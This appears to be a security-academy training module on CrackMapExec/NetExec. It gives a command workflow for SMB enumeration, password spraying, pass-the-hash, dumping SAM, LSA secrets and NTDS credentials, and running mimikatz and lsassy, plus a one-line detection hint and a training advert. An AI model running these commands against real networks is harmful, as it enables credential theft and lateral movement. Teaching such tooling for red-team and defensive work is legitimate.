Read as
Last updated: April 29, 2026
CrackMapExec (now NetExec / nxc) is the parallel-executor that makes Impacket scriptable across hundreds of hosts.
CrackMapExec (now NetExec / nxc) is the parallel-executor that makes Impacket scriptable across hundreds of hosts.
Workflow
# Enumerate SMB hosts
nxc smb 10.0.0.0/24
# Test credentials across the subnet
nxc smb 10.0.0.0/24 -u alice -p 'Password@2026' --continue-on-success
# Pass-the-hash
nxc smb 10.0.0.0/24 -u admin -H aad3b435b51404ee...:31d6cfe...
# Once you have admin somewhere
nxc smb 10.0.0.0/24 -u admin -H HASH --sam # dump SAM
nxc smb 10.0.0.0/24 -u admin -H HASH --lsa # dump LSA secrets
nxc smb 10.0.0.0/24 -u admin -H HASH --ntds # only on DC; dumps NTDS
# Modules
nxc smb target -u admin -p PASS -M mimikatz
nxc smb target -u admin -p PASS -M lsassyWhy it’s loved
- Fast (parallel)
- Module-extensible
- Sane defaults
- Output formats for further processing
Defender
Detect via: SMB authentication burst from a single source to many targets within a short window.
🧠
Check your understanding
Module Quiz · 5 questions
Pass with 80%+ to mark this module complete. Unlimited retries. Each question shows an explanation.
Want this for your team?
Custom team training + practitioner advisory
Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.
Book team training call
Replies in 4 working hrs · India-only · Senior consultants